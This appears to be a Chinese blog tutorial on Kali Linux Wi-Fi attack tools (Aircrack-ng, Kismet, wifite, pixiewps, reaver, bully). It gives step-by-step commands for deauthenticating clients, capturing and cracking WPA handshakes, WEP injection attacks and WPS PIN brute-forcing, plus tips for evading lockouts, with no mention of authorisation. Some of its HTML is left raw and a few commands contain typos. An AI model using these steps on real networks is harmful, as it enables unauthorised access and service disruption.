kali linux 无线攻击工具(入门版-持续更新中)

文章目录

    • 无线攻击篇
      • 蓝牙工具集合
      • 无线工具集合
        • iwconfig
          • 参数说明
        • Aircrack-ng
          • 参数说明
          • 使用说明
            • DEAUTHENTICATION攻击
          • 其他使用说明
            • -1 fakeauth count 伪装一个客户端和ap进行连接
            • -2 interactive 交互模式
            • -3 arp-request注入攻击模式
            • -4 chopchop攻击模式,用来获得一个包含密钥数据的xor文件
            • -5 fragment 碎片包攻击模式,用来获得PRGA(包含密钥的后缀为xor的文件)
        • Kismet
          • 参数说明
          • 使用说明
            • 1、初始化
            • 2、过程说明
            • 3、捕获的信息查阅
        • wifite
        • pixiewps
          • 参数说明
          • 简介
          • 使用说明
        • reaver
          • 参数说明
          • 使用说明
        • bully
          • 说明
          • 参数说明
          • 参数详细介绍
        • 原理分析
          • MAC地址绑定攻击
          • WEP密码破解原理
            • WEP共享密钥破解
            • FAKE AUTHENTICATION
            • ARP重放
          • WPA攻击
            • DEAUTHENTICATION
          • WPS攻击
          • 小实验

无线攻击篇

持续更新中~ 下次更新尽量一个月内吧,有些地方还是晦涩难懂。

蓝牙工具集合

无线工具集合

iwconfig

系统配置无线网络设备或显示无线网络设备信息的命令。iwconfig命令类似于ifconfig命令,但是他配置对象是无线网卡,它对网络设备进行无线操作,如设置无线通信频段

参数说明

iwconfig interface [选项]

Usage: iwconfig [interface]
	interface essid {NNN|any|on|off}
	interface mode {managed|ad-hoc|master|...}
	interface freq N.NNN[k|M|G]
	interface channel N
	interface bit {N[k|M|G]|auto|fixed}
	interface rate {N[k|M|G]|auto|fixed}
	interface enc {NNNN-NNNN|off}
	interface key {NNNN-NNNN|off}
	interface power {period N|timeout N|saving N|off}
	interface nickname NNN
	interface nwid {NN|on|off}
	interface ap {N|off|auto}
	interface txpower {NmW|NdBm|off|auto}
	interface sens N
	interface retry {limit N|lifetime N}
	interface rts {N|auto|fixed|off}
	interface frag {N|auto|fixed|off}
	interface modulation {11g|11a|CCK|OFDMg|...}
	interface commit 

    auto: 自动模式
    essid:设置ESSID  //设置ESSID(或网络名称——在某些产品中也可以称为域ID)。ESSID用于标识属于同一虚拟网络的单元。与定义单个单元的AP地址或NWID不同,ESSID定义了通过中继器或基础设施连接的一组单元,用户可以在这些单元中透明地漫游。对于某些卡片,您可以使用off或any(和on来重新启用它)禁用ESSID检查(ESSID混杂)。如果您的网络的ESSID是一个特殊的关键字(off、on或any),您应该使用——以转义它。
    nwid:设置网络ID  // 设置网络ID。由于所有相邻的无线网络共享相同的介质,该参数用于区分它们(创建逻辑并列网络)并识别属于同一单元的节点。此参数仅用于802.11之前的硬件,802.11协议使用此功能的ESSID和AP地址。对于某些卡,可以使用off(和on)禁用网络ID检查(NWID混杂)来重新启用它。
    freq: 设置无线网络通信频段/率
    chanel: 设置无线网络通信信道   
    sens: 设置无线网络设备的感知阀值 //适当设置这些阈值可以防止卡在接收微弱信号的同时浪费时间在背景噪声上。默认现在硬件感知都自动化了吧。
    mode: 设置无线网络设备的通信设备
    ap: 强迫无线网卡向给定地址的接入点注册 /使用off来重新启用自动模式,而不需要更改当前的访问点,或者您可以使用any或auto来强制卡与当前最佳的访问点重新关联。
    nick<名字>: 为网卡设定别名
    rate<速率>: 设定无线网卡的速率
    rts<阀值>: 在传输数据包之前增加一次握手,确信信道在正常的
    power: 无线网卡的发射功率设置
    总结:保持默认吧,又不是老古董的网卡了,有特殊需求,恶劣条件下可考虑极限值尝试?

Aircrack-ng

参数说明
> Executing “aircrack-ng --help”

  Aircrack-ng 1.6  - (C) 2006-2020 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: aircrack-ng [options] 

  Common options:

      -a  : force attack mode (1/WEP, 2/WPA-PSK)           //强制攻击模式
      -e  : target selection: network identifier                        //目标选择:网络标识符
      -b  : target selection: access point's MAC                     //目标选择:通过接入点的MAC
      -p  : # of CPU to use  (default: all CPUs)                    //使用的CPU数量;默认全部
      -q         : enable quiet mode (no status output)                          //启用安静模式(无状态输出)
      -C   : merge the given APs to a virtual one                   //将给定的AP合并为虚拟AP
      -l   : write key to file. Overwrites file.                             //重写文件,将秘匙写入文件中

  Static WEP cracking options:                                                        //静态WEP破解选项:

      -c         : search alpha-numeric characters only
      -t         : search binary coded decimal chr only
      -h         : search the numeric key for Fritz!BOX
      -d   : use masking of the key (A1:XX:CF:YY)
      -m  : MAC address to filter usable packets
      -n  : WEP key length :  64/128/152/256/512
      -i  : WEP key index (1 to 4), default: any
      -f  : bruteforce fudge factor,  default: 2
      -k  : disable one attack method  (1 to 17)
      -x or -x0  : disable bruteforce for last keybytes
      -x1        : last keybyte bruteforcing  (default)
      -x2        : enable last  2 keybytes bruteforcing
      -X         : disable  bruteforce   multithreading
      -y         : experimental  single bruteforce mode
      -K         : use only old KoreK attacks (pre-PTW)
      -s         : show the key in ASCII while cracking
      -M    : specify maximum number of IVs to use
      -D         : WEP decloak, skips broken keystreams
      -P    : PTW debug:  1: disable Klein, 2: PTW
      -1         : run only 1 try to crack key with PTW
      -V         : run in visual inspection mode

  WEP and WPA-PSK cracking options:

      -w  : path to wordlist(s) filename(s)
      -N   : path to new session filename
      -R   : path to existing session filename

  WPA-PSK options:

      -E   : create EWSA Project file v3
      -I    : PMKID string (hashcat -m 16800)
      -j   : create Hashcat v3.6+ file (HCCAPX)
      -J   : create Hashcat file (HCCAP)
      -S         : WPA cracking speed test
      -Z    : WPA cracking speed test length of
                   execution.
      -r     : path to airolib-ng database
                   (Cannot be used with -w)

  SIMD selection:

      --simd-list       : Show a list of the available
                          SIMD architectures, for this
                          machine.
      --simd=
使用说明
DEAUTHENTICATION攻击
aireplay-ng -0 0 -a kifi -c  

0就是无限发包,直至打掉
不指定-c参数时,以广播攻击所有客户端
每攻击发送128个包,64个给AP,64个给客户端
物理足够接近被攻击者
排错:
物理足够接近被攻击者
与被攻击者使用相同无限标准b、n、g
客户端可能拒绝广播帧,建议指定客户端

实战步骤:
查看网卡名字:iwconfig
设置网卡为监听模式:airmon-ng start wlan0
扫描附近的WIFI:airodump-ng wlan0mon
选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid {MAC1} wlan0mon
选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a {MAC1} -c {MAC2} wlan0mon
对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b {MAC1} tplink-01.cap
参考:

  1. 查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以

  2. 开启网卡监听模式:airmon-ng start wlan0 。
    网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon

  3. 扫描附近的WIFI:airodump-ng wlan0mon
    会显示附近所有的WIFI信号。
    显示数据的参数说明:

BSSID :AP端的MAC地址,如果在Client Section中BSSID显示为“not associated”意味着客户端没有和AP连接上
PWR :信号的水平强度,越大越好
Beacons :AP发出的通告编号,每个接入点(AP)在最低速率(1M)时差不多每秒发送10个左右的beacon,所以他们能够在很远的地方被发现
#Data: 对应路由器在线吞吐量,数字越大,数据上传量越大(数据越大表示在正常情况下使用的人越多,选择此目标成功率大些
CH :信号道(对应路由器的所在频道 / 渠道)
MB :连接速度 / AP支持的最大速率,如果:
  +MB=11,它是802.11b
  +MB=22,它是802.11b+
  +MB>22,它是802.11g
ENC :使用的加密算法体系
CIPHER :检测到的加密算法
AUTH :使用的认证协议
  +MGT(WPA/WPA2使用独立认证的服务器,常见的802.1x、redius、eap等)
  +SKA(WEP的共享密钥)
  +OPN(WEP开放式)
ESSID :对应的路由器名称(越往上信号越好)
STATION :客户端的MAC地址
Lost :在过去10s丢失的数据分组
Probes :被客户端查探的ESSID,如果客户端正在试图连接一个AP但是没有连接上,那么就显示在这里。
RXQ :接受质量,用于衡量所有帧和管理所有帧
  1. 选定一个准备破解的WIFI

  2. 监听该路由器的流量:
    airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址

  3. 重新打开一个命令行窗口,开始攻击!之前的窗口继续保留,用于观察是否抓包成功
    aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址
    该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包!

  4. 如果看到[ WPA handshake: MAC],就说明握手包抓取成功了

    我们可以在命令行运行的所在目录下,看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件

  5. 对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典!

    kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压

    aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址

    要想破解出WIFI的密码,需要一个很强大的字典!

其他使用说明

就是采取不同的漏洞进行破解
aireplay-ng -0 10 -a ap_mac -c 合法客户端mac wifi0

参数说明:10表示发送次数(设置为0表示循环攻击,客户端无法正常上网)
-a设置ap的mac地址,-c设置已连接的合法客户端的mac地址(如果要-c则所有与ap连接的客户端全部断线)

-1 fakeauth count 伪装一个客户端和ap进行连接

这是没有客户端研究学习的第一步,因为是没有合法连接的客户端,因此需要一个伪装客户端来和路由器连接。为让ap接受数据包,必须使自己的网卡和ap关联。-1伪装客户端连接成功够才能用发送注入命令

aireplay-ng -1 0 -e ap_essid -a ap_mac -h my_mac wifi0
aireplay-ng -1 0 -e kifi -a  -h  
aireplay-ng -1 60 -o 1 -q 10 -e  -a  -h  

参数说明:
0表示延迟0秒后连接;
-e设置ap_essid;
-a设置ap的mac地址
-h设置伪装客户端的网卡mac地址(就是自己网卡的mac地址)
-o 1 每次身份认证只发一组认证数据包
-q 10 每10秒发keep-live帧

排错:
某些AP验证客户端MAC地址OUI(前三个字节)——>虚假客户端MAC
MAC地址过滤
Denied(Code 1)is WPA in use
WPA/WPA2不支持Fake authentication
使用真实MAC地址
离信号太远
侦听信道不正确

-2 interactive 交互模式

这个模式集合了抓包和提取数据,发包注入三种功能

ireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b ap_mac -h my_mac wifi0

参数说明:
-p设置控制帧中包含的信息(16进制),默认采用0841;
-c:设置目标mac地址;
-b设置ap的mac地址;
-h伪装的客户端网卡mac地址(就是自己的mac地址)
提取包,发送注入数据包

aireplay-ng -2 -r myarp -x 1024 wifi0

参数说明:
myarp:自己设置的文件名;
-x1024:发包的速度(最大为1024)

-3 arp-request注入攻击模式

这种模式是一种抓包后分析重发的过程
aireplay-ng -3 -b ap_mac -h 合法客户端mac -x 512 wifi0

-4 chopchop攻击模式,用来获得一个包含密钥数据的xor文件
aireplay-ng -3 -b  -h  
aireplay-ng -4 -b ap-mac -h my_mac wifi0

参数说明:
-h 合法客户端/ 攻击者MAC
aireplay-ng data 字段
64bit密钥:25W
128bit密钥:150W

-5 fragment 碎片包攻击模式,用来获得PRGA(包含密钥的后缀为xor的文件)

aireplay-ng -5 -b ap_mac -h my_mac wifi0
packetforge-ng 数据包制造程序

packetforge-ng -0 -a ap_mac -h my_mac wifi0 -k 255.255.255.255 -l255.255.255.255 -y niam_xor -w mrarp
参数说明:
-0:伪装arp数据包;
-k:设置目标文件ip和端口;
-l:设置源文件IP和端口;
-y:从xor文件中读取PRGA;
name:xor文件的名字;
-w设置伪装的arp包的文件名

aircrack-ng -n 64 -b ap_mac name-01.ivs
参数说明:
-n设置key长度(64/128/256/512)

Kismet

参数说明
> Executing “kismet -h”
usage: kismet [OPTION]
Nearly all of these options are run-time overrides for values in the kismet.conf configuration file.  //几乎所有这些选项都是kismet.conf配置文件中值的运行时替代。
Permanent changes should be made to.the configuration file. //应该对配置文件进行永久更改
 *** Generic Options ***
 -v, --version                Show version
     --no-console-wrapper     Disable server console wrapper //禁用服务器控制台包装器
     --no-ncurses-wrapper     Disable server console wrapper//禁用服务器控制台包装器
     --debug                  Disable the console wrapper and the crash//禁用控制台包装和崩溃
                              handling functions, for debugging//处理函数,用于调试
 -f, --config-file      Use alternate configuration file//使用备用配置文件
     --no-line-wrap           Turn of linewrapping of output//使用备用配置文件
                              (for grep, speed, etc)
 -s, --silent                 Turn off stdout output after setup phase//使用备用配置文件
     --daemonize              Spawn detached in the background//后面的卒子脱离了
     --no-plugins             Do not load plugins//不要加载插件
     --homedir          Use an alternate path as the home //使用替代路径作为主路径
                               directory instead of the user entry//目录而不是用户条目
     --confdir          Use an alternate path as the base //使用替代路径作为基准
                               config directory instead of the default //目录而不是默认目录
                               set at compile time//在编译时设置
     --datadir          Use an alternate path as the data//使用替代路径作为数据
                               directory instead of the default set at //目录而不是默认设置为
                               compile time.//编译时间。
 *** Logging Options ***
 -T, --log-types       Override activated log types//重写激活的日志类型
 -t, --log-title       Override default log title//重写默认日志标题
 -p, --log-prefix <prefix>    Directory to store log files//存储日志文件的目录
 -n, --no-logging             Disable logging entirely//完全禁用日志记录

 *** Device Tracking Options ***
     --device-timeout=n       Expire devices after N seconds //N 秒后终止设备
</code></pre> 
  <h5>使用说明</h5> 
  <h6>1、初始化</h6> 
  <p><a href="http://img.e-com-net.com/image/info8/1ea2166e52b84375934e3abfa4a7c339.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/1ea2166e52b84375934e3abfa4a7c339.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第1张图片" width="650" height="372" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/70c1fb23839d49e1a64d495fb312def3.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/70c1fb23839d49e1a64d495fb312def3.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第2张图片" width="650" height="341" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/489b3b72c9374c7b9b530f88de5ce4a7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/489b3b72c9374c7b9b530f88de5ce4a7.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第3张图片" width="650" height="346" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/c09e7546ff4940f9bc32020a17c533a4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c09e7546ff4940f9bc32020a17c533a4.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第4张图片" width="650" height="344" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/38814cb1fe5c457f872e638f7ea7ec96.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/38814cb1fe5c457f872e638f7ea7ec96.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第5张图片" width="650" height="345" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/d0e3a92638644a44a2159651b6426873.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d0e3a92638644a44a2159651b6426873.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第6张图片" width="650" height="343" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/f3574b5f636e4237bb9cea234f2d0f2b.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f3574b5f636e4237bb9cea234f2d0f2b.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第7张图片" width="650" height="180" style="border:1px solid black;"></a></p> 
  <p><a href="http://img.e-com-net.com/image/info8/57ca24d0e5614d2ba8e15e3c940c74a6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/57ca24d0e5614d2ba8e15e3c940c74a6.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第8张图片" width="201" height="234" style="border:1px solid black;"></a></p> 
  <h6>2、过程说明</h6> 
  <ol> 
   <li> <p>无线网卡开启监听模式<br> <code>airmon-ng start wlan0</code> 网卡改变为监听状态,改名未wlan0mon<br> ps: wlan0 是我的笔记本无线网卡<br> 查看自己的笔记本无线网卡是哪个的方法:<br> iwconfig:查看当前未监听状态以及监听状态的网卡名称。</p> </li> 
   <li> <p>修改默认配置文件(/etc/kismet/kismet.conf)</p> </li> 
  </ol> 
  <pre><code># See the README for more information how to define sources; sources take the
# form of:
# source=interface:options
#
# For example to capture from a Wi-Fi interface in Linux you could specify:
 source=wlan0mon
#
# or to specify a custom name,
# source=ath9k
#
# Sources may be defined in the config file or on the command line via the 
# '-c' option.  Sources may also be defined live via the WebUI.
#
# Kismet does not pre-define any sources, permanent sources can be added here
# or in kismet_site.conf
</code></pre> 
  <ol start="3"> 
   <li>启动<br> sudo kismet<br> 浏览器访问<br> 然后就能看到嗅探到的信息了。</li> 
  </ol> 
  <p>通过 Kismet -s,不在输出终端下输出相关嗅探的ap信息。<br> 默认嗅探到的信息都保存在当前执行命令的环境下目录下,后缀为kismet。</p> 
  <h6>3、捕获的信息查阅</h6> 
  <ol> 
   <li>有些WLAN从安全方面考虑,隐藏了SSID或屏蔽SSID广播,这样做的话的确能够防止使用Netstumbler来扫描,但碰上Kismet就毫无办法了,在上图显示的绿色SSID均为被Kismet探测发现的隐藏SSID。我们点击第一个进入,可以看到下图所示详细信息。Name为发现的SSID名称,SSID:(Cloaked)为该SSID为隐藏。</li> 
   <li>当Kismet开始运行时,它将会显示这个区域内它找到的所有的无线局域网,“Name”那一列中所显示出来的内容就是AP的SSID,CH列显示频道,点击任意SSID可以看到BSSID(AP 的MAC地址),加密类型(无),设备厂家(cisco)信息。最下方是接入该AP的终端MAC,类型,使用频率(2.467GHz),网卡型号等信息。甚至当目标计算机已关闭时,Kismet也正可从我们的目标AP中检测到数据包,这是因为目标AP在不停地发出“beacons”。</li> 
   <li>在获知AP的上述信息后,再利用Airecrack等工具,就能实施破解,</li> 
  </ol> 
  <h4>wifite</h4> 
  <p>相对于 Aircrack-ng 的使用更加容易,相当于吧 Aircrack-ng 的操作过程集成在一步完成。</p> 
  <ol> 
   <li>启动wifite。<br> 直接输入 wifite<br> 启动即扫描</li> 
   <li>等待扫描出你需要破解的wifi<br> <a href="http://img.e-com-net.com/image/info8/ce6279b9d980468cb2fda318f6fccfc3.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ce6279b9d980468cb2fda318f6fccfc3.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第9张图片" width="567" height="120" style="border:1px solid black;"></a><br> CH:是指wifi的信道,这个请自行百度,新一代路由器都会自动分配最佳信道。<br> ENCR:是路由器的加密方式,有一种是WEP加密方式很好破解;<br> POWER:是无线信号强度;<br> WPS:是路由上的WPS开关是否开启,通常是纯数字,也开启的也很好破解;<br> CLIENT:是指监听到有多少客户端连接到路由,仅供参考。<br> BSSID代表路由器的 MAC 地址<br> AUTH 代表认证的方式<br> ESSID是WIFI的名字</li> 
   <li>ctrl+c 停止扫描<br> 按照提示输入你的目标 wifi num数<br> <a href="http://img.e-com-net.com/image/info8/1df1f8cfe5bb47c4ac07848636c4003c.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/1df1f8cfe5bb47c4ac07848636c4003c.jpg" alt="kali linux 无线攻击工具(入门版-持续更新中)_第10张图片" width="650" height="210" style="border:1px solid black;"></a></li> 
   <li>然后开始进行扫描客户端,然后开始执行洪水攻击,监听流量抓包,抓到握手的包之后开始进行离线暴力破解。</li> 
   <li>暴力破解前自行决定是否更换密码字典。<br> wifite 的默认密码字典是 /usr/share/dict/wordlist-probable.txt<br> 字典内容格式是一行一个密码<br> 你可以选择网络搜集别人分享的密码字典,或者根据社会工程学利用crunch来生成对应的密码字典。</li> 
   <li>破解时间比较长,我用老电脑跑8位全数字密码字典大概5个多小时。后面研究下用GPU跑字典,时间 是不是短点。</li> 
  </ol> 
  <pre><code> [+] 1 attack completed:
 [+] 1/1 WEP attacks succeeded
        cracked Test (14:E6:E4:AC:FB:20), key: "6162636465"
 [+] disabling monitor mode on mon0… done
 [+] quitting
</code></pre> 
  <p>从以上输出信息中,可以看到解密成功。其中,Test无线接入点的密码是6162636465。</p> 
  <h4>pixiewps</h4> 
  <h5>参数说明</h5> 
  <pre><code>> Executing “pixiewps -h”
 Pixiewps 1.4 WPS pixie-dust attack tool
 Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
 Usage: pixiewps <arguments>
 Required arguments: //必要参数
   -e, --pke         : Enrollee public key  //注册会员公开密码匙
   -r, --pkr         : Registrar public key //注册主任公开密码匙
   -s, --e-hash1     : Enrollee hash-1 // 加入者hash值
   -z, --e-hash2     : Enrollee hash-2
   -a, --authkey     : Authentication session key //认证会话密钥
   -n, --e-nonce     : Enrollee nonce //新登记
 Optional arguments://可选参数:
   -m, --r-nonce     : Registrar nonce//注册主任
   -b, --e-bssid     : Enrollee BSSID
   -v, --verbosity   : Verbosity level 1-3, 1 is quietest           [3] //详细程度1-3级,1级最安静
   -o, --output      : Write output to file //将输出写入文件
   -j, --jobs        : Number of parallel threads to use         [Auto] //使用的线程数

   -h                : Display this usage screen //显示此用法帮助界面
   --help            : Verbose help and more usage examples//详细帮助和更多的使用示例
   -V, --version     : Display version//显示版本

   --mode N[,... N]  : Mode selection, comma separated           [Auto] //模式选择,逗号分隔
   --start [mm/]yyyy : Starting date             (only mode 3) [+1 day] //开始日期
   --end   [mm/]yyyy : Ending date               (only mode 3) [-1 day] //结束日期
   -f, --force       : Bruteforce full range     (only mode 3) //野兽力全射程
 Miscellaneous arguments:  //其他参数:
   -7, --m7-enc      : Recover encrypted settings from M7 (only mode 3)  //从 M7恢复加密设置
   -5, --m5-enc      : Recover secret nonce from M5       (only mode 3)  //从 M5中恢复秘密

 Example (use --help for more):
 pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>
</code></pre> 
  <pre><code>--help example
 Pixiewps 1.4 WPS pixie-dust attack tool
 Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>

 Description of arguments:

 -e, --pke

     Enrollee's DH public key, found in M1.

 -r, --pkr

     Registrar's DH public key, found in M2.

 -s, --e-hash1

     Enrollee hash-1, found in M3. It's the hash of the first half of the PIN.

 -z, --e-hash2

     Enrollee hash-2, found in M3. It's the hash of the second half of the PIN.

 -a, --authkey

     Authentication session key. Although for this parameter a modified version of Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.

 [?] pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -S -n <e-nonce> -m <r-nonce> -b <e-bssid>

 -n, --e-nonce

     Enrollee's nonce, found in M1.

 -m, --r-nonce

     Registrar's nonce, found in M2. Used with other parameters to compute the session keys.

 -b, --e-bssid

     Enrollee's BSSID. Used with other parameters to compute the session keys.

 -S, --dh-small (deprecated)

     Small Diffie-Hellman keys. The same option must be specified in Reaver too. Some Access Points seem to be buggy and don't behave correctly with this option. Avoid using it with Reaver when possible

 --mode N[,... N]

     Select modes, comma separated (experimental modes are not used unless specified):

         1 (RT/MT/CL)
         2 (eCos simple)
         3 (RTL819x)
         4 (eCos simplest) [Experimental]
         5 (eCos Knuth)    [Experimental]

 --start [mm/]yyyy
 --end   [mm/]yyyy

     Starting and ending dates for mode 3. They are interchangeable. If only one is specified, the current time will be used for the other. The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then pixiewps will start from the current time and go back all the way to 0.

 -7, --m7-enc

     Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. This feature only works on some Access Points vulnerable to mode 3.

 [?] pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> --mode 3

 -5, --m5-enc

     Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. This option must be used in conjunction with --m7-enc. If --e-hash1 and --e-hash2 are also specified, pixiewps will also recover the WPS PIN.

 [?] pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> -5 <enc5> --mode 3
 [?] pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> -5 <enc5> -s <e-hash1> -z <e-hash2> --mode 3

</code></pre> 
  <h5>简介</h5> 
  <p>顾名思义,就是针对wps连接的wifi进行攻击,但是现在懂wps连接的又有几个呢,然后又费事的用wps连接的又有几个呢,所以就没大用咯。</p> 
  <p>只适用于固定厂商的芯片,成功率很低<br> 很多厂家实现了锁定机制,所以爆破时应注意限速<br> 一旦触发锁定,可尝试耗尽AP连接数,令其重启并解除WPS锁定</p> 
  <p>开源地址:https://github.com/wiire-a/pixiewps<br> 国内镜像:https://gitee.com/lhc0101/pixiewps</p> 
  <h5>使用说明</h5> 
  <p>首先确保你的无线网卡能工作,进入monitor模式<br> <code>airmon-ng start wlan0</code></p> 
  <p>使用</p> 
  <pre><code>	wash -C -i wlan0mon 
	airodump-ng wlan0mon --wps  
</code></pre> 
  <p>来扫描开WPS的AP ctrl+c停止</p> 
  <p>使用</p> 
  <pre><code>	 reaver -i wlan0mon -b <AP mac> -vv 
	 reaver -i wlan0mon -b <AP mac> -vv -K 1 
</code></pre> 
  <p>想要攻击的AP’MAC地址 -v -K 1<br> 如果存在该漏洞的话,很快就能出pin和密码了</p> 
  <p>得到pin码子:如888888</p> 
  <pre><code>	reaver -i wlan0mon -b <AP mac> -vv -p 88888888
</code></pre> 
  <p>得到密码</p> 
  <p>如果确实有这方面的漏洞,秒破~</p> 
  <h4>reaver</h4> 
  <h5>参数说明</h5> 
  <pre><code>-i  无线网卡名称
-b  目标AP的mac地址
-a  自动检测目标AP最佳配置
-S  使用最小的DH key,可以提高破解速度
-vv  显示更多的非严重警告(注意这是 2 个小写字母 v)
-d  即delay每穷举一次的闲置时间 预设为1秒
-c  信道编号
-p  PIN码四位或八位  //可以用8位直接找到密码。
</code></pre> 
  <h5>使用说明</h5> 
  <p>同上一个功能</p> 
  <ol> 
   <li>同上先开启无线网卡监听<br> <code>airmon-ng start wlan0</code></li> 
   <li>然后附近 WLAN 网络<br> <code>airodump-ng wlan0mon</code></li> 
   <li>找出开启了 WPS 功能、可以使用 PIN码 登录的路由器,并另外记录下该 AP 的 BSSID(约等于该 AP 的 MAC 地址):<br> <code>wash -i wlan0mon</code></li> 
   <li>开始进行 PIN码 穷举破解(注意末尾的参数是 2 个小写字母 v):<br> <code>reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv</code><br> <code>reaver -i wlan0mon -b D8:15:0D:D6:13:92 -a -S -d9 -t9 -vv</code> -d9 -t9时间间隔,防止挂掉</li> 
   <li>等待破解完成,这期间可以查看到穷举破解花费的时间、预计剩余时间、穷举PIN码进度等信息</li> 
   <li>破解完成后,查看并记录下 PIN码 和 密码,获取到 PIN码 后,以后即便路由器更换了密码,也可以很迅速地通过 PIN码 重新获得新密码。举例:<br> <code>reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -p 12316977</code></li> 
   <li>最后,结束无线网卡的监控模式。</li> 
  </ol> 
  <h4>bully</h4> 
  <p>是 WPS 穷举法的一个新实现,用 c 语言编写。 它在概念上与其他程序相同,因为它利用了 WPS 规范中的(现在众所周知的)设计缺陷。 与原始的 reaver 代码相比,它有几个优点。 其中包括减少依赖项、改进内存和 cpu 性能、正确处理 endianness 以及更健壮的选项集。 它运行在 Linux 上,并且是专门为在嵌入式 Linux 系统(OpenWrt 等)上运行而开发的,无论其体系结构如何。</p> 
  <p>开源地址:https://gitlab.com/kalilinux/packages/bully/</p> 
  <h5>说明</h5> 
  <h5>参数说明</h5> 
  <pre><code>usage: bully \ interface
Required arguments:
  interface      : Wireless interface in monitor mode (root required)
  -b, --bssid macaddr    : MAC address of the target access point
Or
  -e, --essid string     : Extended SSID for the access point
Optional arguments:
  -c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]
  -i, --index N          : Starting pin index (7 or 8 digits)  [Auto]
  -l, --lockwait N       : Seconds to wait if the AP locks WPS   [43]
  -o, --outfile file     : Output file for messages          [stdout]
  -p, --pin N            : Starting pin number (7 or 8 digits) [Auto]
  -s, --source macaddr   : Source (hardware) MAC address      [Probe]
  -u, --lua              : Lua script file
  -v, --verbosity N      : Verbosity level 1-3, 1 is quietest     [3]
  -w, --workdir path     : Location of pin/session files  [~/.bully/]
  -5, --5ghz             : Hop on 5GHz a/n default channel list  [No]
  -B, --bruteforce       : Bruteforce the WPS pin checksum digit [No]
  -F, --force            : Force continue in spite of warnings   [No]
  -S, --sequential       : Sequential pins (do not randomize)    [No]
  -T, --test             : Test mode (do not inject any packets) [No]
Advanced arguments:
  -d, --pixiewps         : Attempt to use pixiewps               [No]
  -g, --genpin N         : Pin Generator [1] D-Link [2] Belkin    [0]
  -a, --acktime N        : Deprecated/ignored                  [Auto]
  -r, --retries N        : Resend packets N times when not acked  [2]
  -m, --m13time N        : Deprecated/ignored                  [Auto]
  -t, --timeout N        : Deprecated/ignored                  [Auto]
  -1, --pin1delay M[,N]  : Delay M seconds every Nth nack at M5 [0,1]
  -2, --pin2delay M[,N]  : Delay M seconds every Nth nack at M7 [5,1]
  -A, --noacks           : Disable ACK check for sent packets    [No]
  -C, --nocheck          : Skip CRC/FCS validation (performance) [No]
  -D, --detectlock       : Detect WPS lockouts unreported by AP  [No]
  -E, --eapfail          : EAP Failure terminate every exchange  [No]
  -L, --lockignore       : Ignore WPS locks reported by the AP   [No]
  -M, --m57nack          : M5/M7 timeouts treated as WSC_NACK's  [No]
  -N, --nofcs            : Packets don't contain the FCS field [Auto]
  -P, --probe            : Use probe request for nonbeaconing AP [No]
  -Q, --wpsinfo          : Use probe request to gather WPS info  [No]
